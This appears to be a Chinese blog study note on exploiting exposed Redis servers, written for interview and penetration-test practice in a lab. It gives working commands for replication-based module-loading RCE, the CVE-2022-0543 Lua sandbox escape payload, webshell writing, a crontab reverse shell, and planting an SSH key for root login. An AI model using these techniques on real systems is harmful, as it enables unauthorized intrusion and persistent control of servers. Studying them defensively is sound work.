redis相关知识
搭java环境老是出问题 烦了 来复现一下 redis 面试和渗透测试经常会出现 没有系统去总结过
漏洞
Redis 4.x/5.x 主从复制导致的命令执行
端口开在 6379
直接连接 存在未授权访问
直接拿脚本打
1 | python3 redis-master.py -r 192.168.0.101 -p 6379 -L 192.168.33.133 -P 9999 -f RedisModulesSDK/exp.so -c "id" |
分析一下原理
恶意模块加载
自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。 Redis模块是动态库,可以在启动时或使用
MODULE LOAD
命令加载到Redis中。
1 | docker cp /home/ubuntu/Desktop/Temp/redis-rce/exp.so Docker_ID:/data/exp.so |
主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。
说白了 就是利用这个东西把so文件写进去
Redis Lua沙盒绕过命令执行(CVE-2022-0543)
我们借助Lua沙箱中遗留的变量package
的loadlib
函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
里的导出函数luaopen_io
。在Lua中执行这个导出函数,即可获得io
库,再使用其执行命令:
1 | local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); |
值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在我们Vulhub环境(Ubuntu fiocal)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
。
连接redis,使用eval
命令执行上述脚本:
1 | eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 |
可见命令已成功执行:
写webshell
利用 redis 备份文件向 web 根目录写 webshell,使用条件:
- 已知网站根目录
- 有文件读写权限
1 | ┌──(root kali)-[~] |
crontab反弹shell
写定时任务的两个文件:
/var/spool/cron/
目录下存放的是每个用户包括 root 的 crontab 任务,Ubuntu 系统在/var/spool/cron/crontabs/<username>
,Centos 系统则在/var/spool/cron/<username>
/etc/crontab
这个文件负责调度各种管理和维护任务,Centos 和 Ubuntu 系统均存在这个文件,需要 root 权限
- bash 反弹 shell
这种方法在 ubuntu 不能够使用,原因有两个
- 如果写
/etc/crontab
文件,会夹杂脏数据导致命令语法报错 - 如果写
/var/spool/cron/crontabs/<username>
文件因为 redis 写 644 的权限,但 ubuntu 要求执行定时任务文件权限必须是 600,否则报错INSECURE MODE (mode 0600 expected) (crontabs/root)
,并且写这个文件也会语法报错
但是在 centos 上则不会,所以在 centos 上可以使用这种方法
1 | config set dir /var/spool/cron |
写ssh-key
使用条件比较苛刻:
- redis 是以 root 权限启动
- 允许密钥登陆
一般 ssh 公钥存放目录为/root/.ssh
,目的就是将自己的公钥写入目标服务器的/root/.ssh
文件夹的authotrized_keys
文件中,进而可以直接使用对应的私钥登录目标服务器,复现步骤如下
- 在本地生成公私钥
ssh-keygen -t rsa
- 将公钥写入临时文件中
1 | (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/rsa.txt |
- 同样的使用 config 写入文件
1 | cat /tmp/rsa.txt | redis-cli -h ip -p 6379 -x set rsa |
- ssh登录
1 | ssh -i id_rsa root@ip |
网上有利用脚本:https://github.com/JoyChou93/hackredis